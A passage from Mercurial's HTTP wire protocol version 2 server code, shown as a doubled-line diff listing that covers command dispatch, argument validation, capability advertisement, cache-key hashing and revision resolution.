355 res.headers[b'Content-Type'] = FRAMINGTYPE
356
356
357 try:
357 try:
358 objs = dispatch(repo, proto, command[b'command'], command[b'redirect'])
358 objs = dispatch(repo, proto, command[b'command'], command[b'redirect'])
359
359
360 action, meta = reactor.oncommandresponsereadyobjects(
360 action, meta = reactor.oncommandresponsereadyobjects(
361 outstream, command[b'requestid'], objs
361 outstream, command[b'requestid'], objs
362 )
362 )
363
363
364 except error.WireprotoCommandError as e:
364 except error.WireprotoCommandError as e:
365 action, meta = reactor.oncommanderror(
365 action, meta = reactor.oncommanderror(
366 outstream, command[b'requestid'], e.message, e.messageargs
366 outstream, command[b'requestid'], e.message, e.messageargs
367 )
367 )
368
368
369 except Exception as e:
369 except Exception as e:
370 action, meta = reactor.onservererror(
370 action, meta = reactor.onservererror(
371 outstream,
371 outstream,
372 command[b'requestid'],
372 command[b'requestid'],
373 _(b'exception when invoking command: %s')
373 _(b'exception when invoking command: %s')
374 % stringutil.forcebytestr(e),
374 % stringutil.forcebytestr(e),
375 )
375 )
376
376
377 if action == b'sendframes':
377 if action == b'sendframes':
378 res.setbodygen(meta[b'framegen'])
378 res.setbodygen(meta[b'framegen'])
379 return True
379 return True
380 elif action == b'noop':
380 elif action == b'noop':
381 return False
381 return False
382 else:
382 else:
383 raise error.ProgrammingError(
383 raise error.ProgrammingError(
384 b'unhandled event from reactor: %s' % action
384 b'unhandled event from reactor: %s' % action
385 )
385 )
386
386
387
387
388 def getdispatchrepo(repo, proto, command):
388 def getdispatchrepo(repo, proto, command):
389 viewconfig = repo.ui.config(b'server', b'view')
389 viewconfig = repo.ui.config(b'server', b'view')
390 return repo.filtered(viewconfig)
390 return repo.filtered(viewconfig)
391
391
392
392
393 def dispatch(repo, proto, command, redirect):
393 def dispatch(repo, proto, command, redirect):
394 """Run a wire protocol command.
394 """Run a wire protocol command.
395
395
396 Returns an iterable of objects that will be sent to the client.
396 Returns an iterable of objects that will be sent to the client.
397 """
397 """
398 repo = getdispatchrepo(repo, proto, command)
398 repo = getdispatchrepo(repo, proto, command)
399
399
400 entry = COMMANDS[command]
400 entry = COMMANDS[command]
401 func = entry.func
401 func = entry.func
402 spec = entry.args
402 spec = entry.args
403
403
404 args = proto.getargs(spec)
404 args = proto.getargs(spec)
405
405
406 # There is some duplicate boilerplate code here for calling the command and
406 # There is some duplicate boilerplate code here for calling the command and
407 # emitting objects. It is either that or a lot of indented code that looks
407 # emitting objects. It is either that or a lot of indented code that looks
408 # like a pyramid (since there are a lot of code paths that result in not
408 # like a pyramid (since there are a lot of code paths that result in not
409 # using the cacher).
409 # using the cacher).
410 callcommand = lambda: func(repo, proto, **pycompat.strkwargs(args))
410 callcommand = lambda: func(repo, proto, **pycompat.strkwargs(args))
411
411
412 # Request is not cacheable. Don't bother instantiating a cacher.
412 # Request is not cacheable. Don't bother instantiating a cacher.
413 if not entry.cachekeyfn:
413 if not entry.cachekeyfn:
414 for o in callcommand():
414 for o in callcommand():
415 yield o
415 yield o
416 return
416 return
417
417
418 if redirect:
418 if redirect:
419 redirecttargets = redirect[b'targets']
419 redirecttargets = redirect[b'targets']
420 redirecthashes = redirect[b'hashes']
420 redirecthashes = redirect[b'hashes']
421 else:
421 else:
422 redirecttargets = []
422 redirecttargets = []
423 redirecthashes = []
423 redirecthashes = []
424
424
425 cacher = makeresponsecacher(
425 cacher = makeresponsecacher(
426 repo,
426 repo,
427 proto,
427 proto,
428 command,
428 command,
429 args,
429 args,
430 cborutil.streamencode,
430 cborutil.streamencode,
431 redirecttargets=redirecttargets,
431 redirecttargets=redirecttargets,
432 redirecthashes=redirecthashes,
432 redirecthashes=redirecthashes,
433 )
433 )
434
434
435 # But we have no cacher. Do default handling.
435 # But we have no cacher. Do default handling.
436 if not cacher:
436 if not cacher:
437 for o in callcommand():
437 for o in callcommand():
438 yield o
438 yield o
439 return
439 return
440
440
441 with cacher:
441 with cacher:
442 cachekey = entry.cachekeyfn(
442 cachekey = entry.cachekeyfn(
443 repo, proto, cacher, **pycompat.strkwargs(args)
443 repo, proto, cacher, **pycompat.strkwargs(args)
444 )
444 )
445
445
446 # No cache key or the cacher doesn't like it. Do default handling.
446 # No cache key or the cacher doesn't like it. Do default handling.
447 if cachekey is None or not cacher.setcachekey(cachekey):
447 if cachekey is None or not cacher.setcachekey(cachekey):
448 for o in callcommand():
448 for o in callcommand():
449 yield o
449 yield o
450 return
450 return
451
451
452 # Serve it from the cache, if possible.
452 # Serve it from the cache, if possible.
453 cached = cacher.lookup()
453 cached = cacher.lookup()
454
454
455 if cached:
455 if cached:
456 for o in cached[b'objs']:
456 for o in cached[b'objs']:
457 yield o
457 yield o
458 return
458 return
459
459
460 # Else call the command and feed its output into the cacher, allowing
460 # Else call the command and feed its output into the cacher, allowing
461 # the cacher to buffer/mutate objects as it desires.
461 # the cacher to buffer/mutate objects as it desires.
462 for o in callcommand():
462 for o in callcommand():
463 for o in cacher.onobject(o):
463 for o in cacher.onobject(o):
464 yield o
464 yield o
465
465
466 for o in cacher.onfinished():
466 for o in cacher.onfinished():
467 yield o
467 yield o
468
468
469
469
470 @interfaceutil.implementer(wireprototypes.baseprotocolhandler)
470 @interfaceutil.implementer(wireprototypes.baseprotocolhandler)
471 class httpv2protocolhandler(object):
471 class httpv2protocolhandler(object):
472 def __init__(self, req, ui, args=None):
472 def __init__(self, req, ui, args=None):
473 self._req = req
473 self._req = req
474 self._ui = ui
474 self._ui = ui
475 self._args = args
475 self._args = args
476
476
477 @property
477 @property
478 def name(self):
478 def name(self):
479 return HTTP_WIREPROTO_V2
479 return HTTP_WIREPROTO_V2
480
480
481 def getargs(self, args):
481 def getargs(self, args):
482 # First look for args that were passed but aren't registered on this
482 # First look for args that were passed but aren't registered on this
483 # command.
483 # command.
484 extra = set(self._args) - set(args)
484 extra = set(self._args) - set(args)
485 if extra:
485 if extra:
486 raise error.WireprotoCommandError(
486 raise error.WireprotoCommandError(
487 b'unsupported argument to command: %s'
487 b'unsupported argument to command: %s'
488 % b', '.join(sorted(extra))
488 % b', '.join(sorted(extra))
489 )
489 )
490
490
491 # And look for required arguments that are missing.
491 # And look for required arguments that are missing.
492 missing = {a for a in args if args[a][b'required']} - set(self._args)
492 missing = {a for a in args if args[a][b'required']} - set(self._args)
493
493
494 if missing:
494 if missing:
495 raise error.WireprotoCommandError(
495 raise error.WireprotoCommandError(
496 b'missing required arguments: %s' % b', '.join(sorted(missing))
496 b'missing required arguments: %s' % b', '.join(sorted(missing))
497 )
497 )
498
498
499 # Now derive the arguments to pass to the command, taking into
499 # Now derive the arguments to pass to the command, taking into
500 # account the arguments specified by the client.
500 # account the arguments specified by the client.
501 data = {}
501 data = {}
502 for k, meta in sorted(args.items()):
502 for k, meta in sorted(args.items()):
503 # This argument wasn't passed by the client.
503 # This argument wasn't passed by the client.
504 if k not in self._args:
504 if k not in self._args:
505 data[k] = meta[b'default']()
505 data[k] = meta[b'default']()
506 continue
506 continue
507
507
508 v = self._args[k]
508 v = self._args[k]
509
509
510 # Sets may be expressed as lists. Silently normalize.
510 # Sets may be expressed as lists. Silently normalize.
511 if meta[b'type'] == b'set' and isinstance(v, list):
511 if meta[b'type'] == b'set' and isinstance(v, list):
512 v = set(v)
512 v = set(v)
513
513
514 # TODO consider more/stronger type validation.
514 # TODO consider more/stronger type validation.
515
515
516 data[k] = v
516 data[k] = v
517
517
518 return data
518 return data
519
519
520 def getprotocaps(self):
520 def getprotocaps(self):
521 # Protocol capabilities are currently not implemented for HTTP V2.
521 # Protocol capabilities are currently not implemented for HTTP V2.
522 return set()
522 return set()
523
523
524 def getpayload(self):
524 def getpayload(self):
525 raise NotImplementedError
525 raise NotImplementedError
526
526
527 @contextlib.contextmanager
527 @contextlib.contextmanager
528 def mayberedirectstdio(self):
528 def mayberedirectstdio(self):
529 raise NotImplementedError
529 raise NotImplementedError
530
530
531 def client(self):
531 def client(self):
532 raise NotImplementedError
532 raise NotImplementedError
533
533
534 def addcapabilities(self, repo, caps):
534 def addcapabilities(self, repo, caps):
535 return caps
535 return caps
536
536
537 def checkperm(self, perm):
537 def checkperm(self, perm):
538 raise NotImplementedError
538 raise NotImplementedError
539
539
540
540
541 def httpv2apidescriptor(req, repo):
541 def httpv2apidescriptor(req, repo):
542 proto = httpv2protocolhandler(req, repo.ui)
542 proto = httpv2protocolhandler(req, repo.ui)
543
543
544 return _capabilitiesv2(repo, proto)
544 return _capabilitiesv2(repo, proto)
545
545
546
546
547 def _capabilitiesv2(repo, proto):
547 def _capabilitiesv2(repo, proto):
548 """Obtain the set of capabilities for version 2 transports.
548 """Obtain the set of capabilities for version 2 transports.
549
549
550 These capabilities are distinct from the capabilities for version 1
550 These capabilities are distinct from the capabilities for version 1
551 transports.
551 transports.
552 """
552 """
553 caps = {
553 caps = {
554 b'commands': {},
554 b'commands': {},
555 b'framingmediatypes': [FRAMINGTYPE],
555 b'framingmediatypes': [FRAMINGTYPE],
556 b'pathfilterprefixes': set(narrowspec.VALID_PREFIXES),
556 b'pathfilterprefixes': set(narrowspec.VALID_PREFIXES),
557 }
557 }
558
558
559 for command, entry in COMMANDS.items():
559 for command, entry in COMMANDS.items():
560 args = {}
560 args = {}
561
561
562 for arg, meta in entry.args.items():
562 for arg, meta in entry.args.items():
563 args[arg] = {
563 args[arg] = {
564 # TODO should this be a normalized type using CBOR's
564 # TODO should this be a normalized type using CBOR's
565 # terminology?
565 # terminology?
566 b'type': meta[b'type'],
566 b'type': meta[b'type'],
567 b'required': meta[b'required'],
567 b'required': meta[b'required'],
568 }
568 }
569
569
570 if not meta[b'required']:
570 if not meta[b'required']:
571 args[arg][b'default'] = meta[b'default']()
571 args[arg][b'default'] = meta[b'default']()
572
572
573 if meta[b'validvalues']:
573 if meta[b'validvalues']:
574 args[arg][b'validvalues'] = meta[b'validvalues']
574 args[arg][b'validvalues'] = meta[b'validvalues']
575
575
576 # TODO this type of check should be defined in a per-command callback.
576 # TODO this type of check should be defined in a per-command callback.
577 if (
577 if (
578 command == b'rawstorefiledata'
578 command == b'rawstorefiledata'
579 and not streamclone.allowservergeneration(repo)
579 and not streamclone.allowservergeneration(repo)
580 ):
580 ):
581 continue
581 continue
582
582
583 caps[b'commands'][command] = {
583 caps[b'commands'][command] = {
584 b'args': args,
584 b'args': args,
585 b'permissions': [entry.permission],
585 b'permissions': [entry.permission],
586 }
586 }
587
587
588 if entry.extracapabilitiesfn:
588 if entry.extracapabilitiesfn:
589 extracaps = entry.extracapabilitiesfn(repo, proto)
589 extracaps = entry.extracapabilitiesfn(repo, proto)
590 caps[b'commands'][command].update(extracaps)
590 caps[b'commands'][command].update(extracaps)
591
591
592 caps[b'rawrepoformats'] = sorted(repo.requirements & repo.supportedformats)
592 caps[b'rawrepoformats'] = sorted(repo.requirements & repo.supportedformats)
593
593
594 targets = getadvertisedredirecttargets(repo, proto)
594 targets = getadvertisedredirecttargets(repo, proto)
595 if targets:
595 if targets:
596 caps[b'redirect'] = {
596 caps[b'redirect'] = {
597 b'targets': [],
597 b'targets': [],
598 b'hashes': [b'sha256', b'sha1'],
598 b'hashes': [b'sha256', b'sha1'],
599 }
599 }
600
600
601 for target in targets:
601 for target in targets:
602 entry = {
602 entry = {
603 b'name': target[b'name'],
603 b'name': target[b'name'],
604 b'protocol': target[b'protocol'],
604 b'protocol': target[b'protocol'],
605 b'uris': target[b'uris'],
605 b'uris': target[b'uris'],
606 }
606 }
607
607
608 for key in (b'snirequired', b'tlsversions'):
608 for key in (b'snirequired', b'tlsversions'):
609 if key in target:
609 if key in target:
610 entry[key] = target[key]
610 entry[key] = target[key]
611
611
612 caps[b'redirect'][b'targets'].append(entry)
612 caps[b'redirect'][b'targets'].append(entry)
613
613
614 return proto.addcapabilities(repo, caps)
614 return proto.addcapabilities(repo, caps)
615
615
616
616
617 def getadvertisedredirecttargets(repo, proto):
617 def getadvertisedredirecttargets(repo, proto):
618 """Obtain a list of content redirect targets.
618 """Obtain a list of content redirect targets.
619
619
620 Returns a list containing potential redirect targets that will be
620 Returns a list containing potential redirect targets that will be
621 advertised in capabilities data. Each dict MUST have the following
621 advertised in capabilities data. Each dict MUST have the following
622 keys:
622 keys:
623
623
624 name
624 name
625 The name of this redirect target. This is the identifier clients use
625 The name of this redirect target. This is the identifier clients use
626 to refer to a target. It is transferred as part of every command
626 to refer to a target. It is transferred as part of every command
627 request.
627 request.
628
628
629 protocol
629 protocol
630 Network protocol used by this target. Typically this is the string
630 Network protocol used by this target. Typically this is the string
631 in front of the ``://`` in a URL. e.g. ``https``.
631 in front of the ``://`` in a URL. e.g. ``https``.
632
632
633 uris
633 uris
634 List of representative URIs for this target. Clients can use the
634 List of representative URIs for this target. Clients can use the
635 URIs to test parsing for compatibility or for ordering preference
635 URIs to test parsing for compatibility or for ordering preference
636 for which target to use.
636 for which target to use.
637
637
638 The following optional keys are recognized:
638 The following optional keys are recognized:
639
639
640 snirequired
640 snirequired
641 Bool indicating if Server Name Indication (SNI) is required to
641 Bool indicating if Server Name Indication (SNI) is required to
642 connect to this target.
642 connect to this target.
643
643
644 tlsversions
644 tlsversions
645 List of bytes indicating which TLS versions are supported by this
645 List of bytes indicating which TLS versions are supported by this
646 target.
646 target.
647
647
648 By default, clients reflect the target order advertised by servers
648 By default, clients reflect the target order advertised by servers
649 and servers will use the first client-advertised target when picking
649 and servers will use the first client-advertised target when picking
650 a redirect target. So targets should be advertised in the order the
650 a redirect target. So targets should be advertised in the order the
651 server prefers they be used.
651 server prefers they be used.
652 """
652 """
653 return []
653 return []
654
654
655
655
656 def wireprotocommand(
656 def wireprotocommand(
657 name,
657 name,
658 args=None,
658 args=None,
659 permission=b'push',
659 permission=b'push',
660 cachekeyfn=None,
660 cachekeyfn=None,
661 extracapabilitiesfn=None,
661 extracapabilitiesfn=None,
662 ):
662 ):
663 """Decorator to declare a wire protocol command.
663 """Decorator to declare a wire protocol command.
664
664
665 ``name`` is the name of the wire protocol command being provided.
665 ``name`` is the name of the wire protocol command being provided.
666
666
667 ``args`` is a dict defining arguments accepted by the command. Keys are
667 ``args`` is a dict defining arguments accepted by the command. Keys are
668 the argument name. Values are dicts with the following keys:
668 the argument name. Values are dicts with the following keys:
669
669
670 ``type``
670 ``type``
671 The argument data type. Must be one of the following string
671 The argument data type. Must be one of the following string
672 literals: ``bytes``, ``int``, ``list``, ``dict``, ``set``,
672 literals: ``bytes``, ``int``, ``list``, ``dict``, ``set``,
673 or ``bool``.
673 or ``bool``.
674
674
675 ``default``
675 ``default``
676 A callable returning the default value for this argument. If not
676 A callable returning the default value for this argument. If not
677 specified, ``None`` will be the default value.
677 specified, ``None`` will be the default value.
678
678
679 ``example``
679 ``example``
680 An example value for this argument.
680 An example value for this argument.
681
681
682 ``validvalues``
682 ``validvalues``
683 Set of recognized values for this argument.
683 Set of recognized values for this argument.
684
684
685 ``permission`` defines the permission type needed to run this command.
685 ``permission`` defines the permission type needed to run this command.
686 Can be ``push`` or ``pull``. These roughly map to read-write and read-only,
686 Can be ``push`` or ``pull``. These roughly map to read-write and read-only,
687 respectively. Default is to assume command requires ``push`` permissions
687 respectively. Default is to assume command requires ``push`` permissions
688 because otherwise commands not declaring their permissions could modify
688 because otherwise commands not declaring their permissions could modify
689 a repository that is supposed to be read-only.
689 a repository that is supposed to be read-only.
690
690
691 ``cachekeyfn`` defines an optional callable that can derive the
691 ``cachekeyfn`` defines an optional callable that can derive the
692 cache key for this request.
692 cache key for this request.
693
693
694 ``extracapabilitiesfn`` defines an optional callable that defines extra
694 ``extracapabilitiesfn`` defines an optional callable that defines extra
695 command capabilities/parameters that are advertised next to the command
695 command capabilities/parameters that are advertised next to the command
696 in the capabilities data structure describing the server. The callable
696 in the capabilities data structure describing the server. The callable
697 receives as arguments the repository and protocol objects. It returns
697 receives as arguments the repository and protocol objects. It returns
698 a dict of extra fields to add to the command descriptor.
698 a dict of extra fields to add to the command descriptor.
699
699
700 Wire protocol commands are generators of objects to be serialized and
700 Wire protocol commands are generators of objects to be serialized and
701 sent to the client.
701 sent to the client.
702
702
703 If a command raises an uncaught exception, this will be translated into
703 If a command raises an uncaught exception, this will be translated into
704 a command error.
704 a command error.
705
705
706 All commands can opt in to being cacheable by defining a function
706 All commands can opt in to being cacheable by defining a function
707 (``cachekeyfn``) that is called to derive a cache key. This function
707 (``cachekeyfn``) that is called to derive a cache key. This function
708 receives the same arguments as the command itself plus a ``cacher``
708 receives the same arguments as the command itself plus a ``cacher``
709 argument containing the active cacher for the request and returns a bytes
709 argument containing the active cacher for the request and returns a bytes
710 containing the key in a cache the response to this command may be cached
710 containing the key in a cache the response to this command may be cached
711 under.
711 under.
712 """
712 """
713 transports = {
713 transports = {
714 k for k, v in wireprototypes.TRANSPORTS.items() if v[b'version'] == 2
714 k for k, v in wireprototypes.TRANSPORTS.items() if v[b'version'] == 2
715 }
715 }
716
716
717 if permission not in (b'push', b'pull'):
717 if permission not in (b'push', b'pull'):
718 raise error.ProgrammingError(
718 raise error.ProgrammingError(
719 b'invalid wire protocol permission; '
719 b'invalid wire protocol permission; '
720 b'got %s; expected "push" or "pull"' % permission
720 b'got %s; expected "push" or "pull"' % permission
721 )
721 )
722
722
723 if args is None:
723 if args is None:
724 args = {}
724 args = {}
725
725
726 if not isinstance(args, dict):
726 if not isinstance(args, dict):
727 raise error.ProgrammingError(
727 raise error.ProgrammingError(
728 b'arguments for version 2 commands must be declared as dicts'
728 b'arguments for version 2 commands must be declared as dicts'
729 )
729 )
730
730
731 for arg, meta in args.items():
731 for arg, meta in args.items():
732 if arg == b'*':
732 if arg == b'*':
733 raise error.ProgrammingError(
733 raise error.ProgrammingError(
734 b'* argument name not allowed on version 2 commands'
734 b'* argument name not allowed on version 2 commands'
735 )
735 )
736
736
737 if not isinstance(meta, dict):
737 if not isinstance(meta, dict):
738 raise error.ProgrammingError(
738 raise error.ProgrammingError(
739 b'arguments for version 2 commands '
739 b'arguments for version 2 commands '
740 b'must declare metadata as a dict'
740 b'must declare metadata as a dict'
741 )
741 )
742
742
743 if b'type' not in meta:
743 if b'type' not in meta:
744 raise error.ProgrammingError(
744 raise error.ProgrammingError(
745 b'%s argument for command %s does not '
745 b'%s argument for command %s does not '
746 b'declare type field' % (arg, name)
746 b'declare type field' % (arg, name)
747 )
747 )
748
748
749 if meta[b'type'] not in (
749 if meta[b'type'] not in (
750 b'bytes',
750 b'bytes',
751 b'int',
751 b'int',
752 b'list',
752 b'list',
753 b'dict',
753 b'dict',
754 b'set',
754 b'set',
755 b'bool',
755 b'bool',
756 ):
756 ):
757 raise error.ProgrammingError(
757 raise error.ProgrammingError(
758 b'%s argument for command %s has '
758 b'%s argument for command %s has '
759 b'illegal type: %s' % (arg, name, meta[b'type'])
759 b'illegal type: %s' % (arg, name, meta[b'type'])
760 )
760 )
761
761
762 if b'example' not in meta:
762 if b'example' not in meta:
763 raise error.ProgrammingError(
763 raise error.ProgrammingError(
764 b'%s argument for command %s does not '
764 b'%s argument for command %s does not '
765 b'declare example field' % (arg, name)
765 b'declare example field' % (arg, name)
766 )
766 )
767
767
768 meta[b'required'] = b'default' not in meta
768 meta[b'required'] = b'default' not in meta
769
769
770 meta.setdefault(b'default', lambda: None)
770 meta.setdefault(b'default', lambda: None)
771 meta.setdefault(b'validvalues', None)
771 meta.setdefault(b'validvalues', None)
772
772
773 def register(func):
773 def register(func):
774 if name in COMMANDS:
774 if name in COMMANDS:
775 raise error.ProgrammingError(
775 raise error.ProgrammingError(
776 b'%s command already registered for version 2' % name
776 b'%s command already registered for version 2' % name
777 )
777 )
778
778
779 COMMANDS[name] = wireprototypes.commandentry(
779 COMMANDS[name] = wireprototypes.commandentry(
780 func,
780 func,
781 args=args,
781 args=args,
782 transports=transports,
782 transports=transports,
783 permission=permission,
783 permission=permission,
784 cachekeyfn=cachekeyfn,
784 cachekeyfn=cachekeyfn,
785 extracapabilitiesfn=extracapabilitiesfn,
785 extracapabilitiesfn=extracapabilitiesfn,
786 )
786 )
787
787
788 return func
788 return func
789
789
790 return register
790 return register
791
791
792
792
793 def makecommandcachekeyfn(command, localversion=None, allargs=False):
793 def makecommandcachekeyfn(command, localversion=None, allargs=False):
794 """Construct a cache key derivation function with common features.
794 """Construct a cache key derivation function with common features.
795
795
796 By default, the cache key is a hash of:
796 By default, the cache key is a hash of:
797
797
798 * The command name.
798 * The command name.
799 * A global cache version number.
799 * A global cache version number.
800 * A local cache version number (passed via ``localversion``).
800 * A local cache version number (passed via ``localversion``).
801 * All the arguments passed to the command.
801 * All the arguments passed to the command.
802 * The media type used.
802 * The media type used.
803 * Wire protocol version string.
803 * Wire protocol version string.
804 * The repository path.
804 * The repository path.
805 """
805 """
806 if not allargs:
806 if not allargs:
807 raise error.ProgrammingError(
807 raise error.ProgrammingError(
808 b'only allargs=True is currently supported'
808 b'only allargs=True is currently supported'
809 )
809 )
810
810
811 if localversion is None:
811 if localversion is None:
812 raise error.ProgrammingError(b'must set localversion argument value')
812 raise error.ProgrammingError(b'must set localversion argument value')
813
813
814 def cachekeyfn(repo, proto, cacher, **args):
814 def cachekeyfn(repo, proto, cacher, **args):
815 spec = COMMANDS[command]
815 spec = COMMANDS[command]
816
816
817 # Commands that mutate the repo can not be cached.
817 # Commands that mutate the repo can not be cached.
818 if spec.permission == b'push':
818 if spec.permission == b'push':
819 return None
819 return None
820
820
821 # TODO config option to disable caching.
821 # TODO config option to disable caching.
822
822
823 # Our key derivation strategy is to construct a data structure
823 # Our key derivation strategy is to construct a data structure
824 # holding everything that could influence cacheability and to hash
824 # holding everything that could influence cacheability and to hash
825 # the CBOR representation of that. Using CBOR seems like it might
825 # the CBOR representation of that. Using CBOR seems like it might
826 # be overkill. However, simpler hashing mechanisms are prone to
826 # be overkill. However, simpler hashing mechanisms are prone to
827 # duplicate input issues. e.g. if you just concatenate two values,
827 # duplicate input issues. e.g. if you just concatenate two values,
828 # "foo"+"bar" is identical to "fo"+"obar". Using CBOR provides
828 # "foo"+"bar" is identical to "fo"+"obar". Using CBOR provides
829 # "padding" between values and prevents these problems.
829 # "padding" between values and prevents these problems.
830
830
831 # Seed the hash with various data.
831 # Seed the hash with various data.
832 state = {
832 state = {
833 # To invalidate all cache keys.
833 # To invalidate all cache keys.
834 b'globalversion': GLOBAL_CACHE_VERSION,
834 b'globalversion': GLOBAL_CACHE_VERSION,
835 # More granular cache key invalidation.
835 # More granular cache key invalidation.
836 b'localversion': localversion,
836 b'localversion': localversion,
837 # Cache keys are segmented by command.
837 # Cache keys are segmented by command.
838 b'command': command,
838 b'command': command,
839 # Throw in the media type and API version strings so changes
839 # Throw in the media type and API version strings so changes
840 # to exchange semantics invalid cache.
840 # to exchange semantics invalid cache.
841 b'mediatype': FRAMINGTYPE,
841 b'mediatype': FRAMINGTYPE,
842 b'version': HTTP_WIREPROTO_V2,
842 b'version': HTTP_WIREPROTO_V2,
843 # So same requests for different repos don't share cache keys.
843 # So same requests for different repos don't share cache keys.
844 b'repo': repo.root,
844 b'repo': repo.root,
845 }
845 }
846
846
847 # The arguments passed to us will have already been normalized.
847 # The arguments passed to us will have already been normalized.
848 # Default values will be set, etc. This is important because it
848 # Default values will be set, etc. This is important because it
849 # means that it doesn't matter if clients send an explicit argument
849 # means that it doesn't matter if clients send an explicit argument
850 # or rely on the default value: it will all normalize to the same
850 # or rely on the default value: it will all normalize to the same
851 # set of arguments on the server and therefore the same cache key.
851 # set of arguments on the server and therefore the same cache key.
852 #
852 #
853 # Arguments by their very nature must support being encoded to CBOR.
853 # Arguments by their very nature must support being encoded to CBOR.
854 # And the CBOR encoder is deterministic. So we hash the arguments
854 # And the CBOR encoder is deterministic. So we hash the arguments
855 # by feeding the CBOR of their representation into the hasher.
855 # by feeding the CBOR of their representation into the hasher.
856 if allargs:
856 if allargs:
857 state[b'args'] = pycompat.byteskwargs(args)
857 state[b'args'] = pycompat.byteskwargs(args)
858
858
859 cacher.adjustcachekeystate(state)
859 cacher.adjustcachekeystate(state)
860
860
861 hasher = hashlib.sha1()
861 hasher = hashutil.sha1()
862 for chunk in cborutil.streamencode(state):
862 for chunk in cborutil.streamencode(state):
863 hasher.update(chunk)
863 hasher.update(chunk)
864
864
865 return pycompat.sysbytes(hasher.hexdigest())
865 return pycompat.sysbytes(hasher.hexdigest())
866
866
867 return cachekeyfn
867 return cachekeyfn
868
868
869
869
870 def makeresponsecacher(
870 def makeresponsecacher(
871 repo, proto, command, args, objencoderfn, redirecttargets, redirecthashes
871 repo, proto, command, args, objencoderfn, redirecttargets, redirecthashes
872 ):
872 ):
873 """Construct a cacher for a cacheable command.
873 """Construct a cacher for a cacheable command.
874
874
875 Returns an ``iwireprotocolcommandcacher`` instance.
875 Returns an ``iwireprotocolcommandcacher`` instance.
876
876
877 Extensions can monkeypatch this function to provide custom caching
877 Extensions can monkeypatch this function to provide custom caching
878 backends.
878 backends.
879 """
879 """
880 return None
880 return None
881
881
882
882
883 def resolvenodes(repo, revisions):
883 def resolvenodes(repo, revisions):
884 """Resolve nodes from a revisions specifier data structure."""
884 """Resolve nodes from a revisions specifier data structure."""
885 cl = repo.changelog
885 cl = repo.changelog
886 clhasnode = cl.hasnode
886 clhasnode = cl.hasnode
887
887
888 seen = set()
888 seen = set()
889 nodes = []
889 nodes = []
890
890
891 if not isinstance(revisions, list):
891 if not isinstance(revisions, list):
892 raise error.WireprotoCommandError(
892 raise error.WireprotoCommandError(
893 b'revisions must be defined as an array'
893 b'revisions must be defined as an array'
894 )
894 )
895
895
896 for spec in revisions:
896 for spec in revisions:
897 if b'type' not in spec:
897 if b'type' not in spec:
898 raise error.WireprotoCommandError(
898 raise error.WireprotoCommandError(
899 b'type key not present in revision specifier'
899 b'type key not present in revision specifier'
900 )
900 )
901
901
902 typ = spec[b'type']
902 typ = spec[b'type']
903
903
904 if typ == b'changesetexplicit':
904 if typ == b'changesetexplicit':
905 if b'nodes' not in spec:
905 if b'nodes' not in spec:
906 raise error.WireprotoCommandError(
906 raise error.WireprotoCommandError(
907 b'nodes key not present in changesetexplicit revision '
907 b'nodes key not present in changesetexplicit revision '
908 b'specifier'
908 b'specifier'
909 )
909 )
910
910
911 for node in spec[b'nodes']:
911 for node in spec[b'nodes']:
912 if node not in seen:
912 if node not in seen:
913 nodes.append(node)
913 nodes.append(node)
914 seen.add(node)
914 seen.add(node)
915
915
916 elif typ == b'changesetexplicitdepth':
916 elif typ == b'changesetexplicitdepth':
917 for key in (b'nodes', b'depth'):
917 for key in (b'nodes', b'depth'):
918 if key not in spec:
918 if key not in spec:
919 raise error.WireprotoCommandError(
919 raise error.WireprotoCommandError(
920 b'%s key not present in changesetexplicitdepth revision '
920 b'%s key not present in changesetexplicitdepth revision '
921 b'specifier',
921 b'specifier',
922 (key,),
922 (key,),
923 )
923 )
924
924
925 for rev in repo.revs(
925 for rev in repo.revs(
926 b'ancestors(%ln, %s)', spec[b'nodes'], spec[b'depth'] - 1
926 b'ancestors(%ln, %s)', spec[b'nodes'], spec[b'depth'] - 1
927 ):
927 ):
928 node = cl.node(rev)
928 node = cl.node(rev)
929
929
930 if node not in seen:
930 if node not in seen:
931 nodes.append(node)
931 nodes.append(node)
932 seen.add(node)
932 seen.add(node)
933
933
934 elif typ == b'changesetdagrange':
934 elif typ == b'changesetdagrange':
935 for key in (b'roots', b'heads'):
935 for key in (b'roots', b'heads'):
936 if key not in spec:
936 if key not in spec:
937 raise error.WireprotoCommandError(
937 raise error.WireprotoCommandError(
938 b'%s key not present in changesetdagrange revision '
938 b'%s key not present in changesetdagrange revision '
939 b'specifier',
939 b'specifier',
940 (key,),
940 (key,),
941 )
941 )
942
942
943 if not spec[b'heads']:
943 if not spec[b'heads']:
944 raise error.WireprotoCommandError(
944 raise error.WireprotoCommandError(
945 b'heads key in changesetdagrange cannot be empty'
945 b'heads key in changesetdagrange cannot be empty'
946 )
946 )
947
947
948 if spec[b'roots']:
948 if spec[b'roots']:
949 common = [n for n in spec[b'roots'] if clhasnode(n)]
949 common = [n for n in spec[b'roots'] if clhasnode(n)]
950 else:
950 else:
951 common = [nullid]
951 common = [nullid]
952
952
953 for n in discovery.outgoing(repo, common, spec[b'heads']).missing:
953 for n in discovery.outgoing(repo, common, spec[b'heads']).missing:
954 if n not in seen:
954 if n not in seen:
955 nodes.append(n)
955 nodes.append(n)
956 seen.add(n)
956 seen.add(n)
957
957
958 else:
958 else:
959 raise error.WireprotoCommandError(
959 raise error.WireprotoCommandError(
960 b'unknown revision specifier type: %s', (typ,)
960 b'unknown revision specifier type: %s', (typ,)
961 )
961 )
962
962
963 return nodes
963 return nodes
964
964
965
965
966 @wireprotocommand(b'branchmap', permission=b'pull')
966 @wireprotocommand(b'branchmap', permission=b'pull')
967 def branchmapv2(repo, proto):
967 def branchmapv2(repo, proto):
968 yield {
968 yield {
969 encoding.fromlocal(k): v
969 encoding.fromlocal(k): v
970 for k, v in pycompat.iteritems(repo.branchmap())
970 for k, v in pycompat.iteritems(repo.branchmap())
971 }
971 }
972
972
973
973
974 @wireprotocommand(b'capabilities', permission=b'pull')
974 @wireprotocommand(b'capabilities', permission=b'pull')
975 def capabilitiesv2(repo, proto):
975 def capabilitiesv2(repo, proto):
976 yield _capabilitiesv2(repo, proto)
976 yield _capabilitiesv2(repo, proto)
977
977
978
978
979 @wireprotocommand(
979 @wireprotocommand(
980 b'changesetdata',
980 b'changesetdata',
981 args={
981 args={
982 b'revisions': {
982 b'revisions': {
983 b'type': b'list',
983 b'type': b'list',
984 b'example': [
984 b'example': [
985 {b'type': b'changesetexplicit', b'nodes': [b'abcdef...'],}
985 {b'type': b'changesetexplicit', b'nodes': [b'abcdef...'],}
986 ],
986 ],
987 },
987 },
988 b'fields': {
988 b'fields': {
989 b'type': b'set',
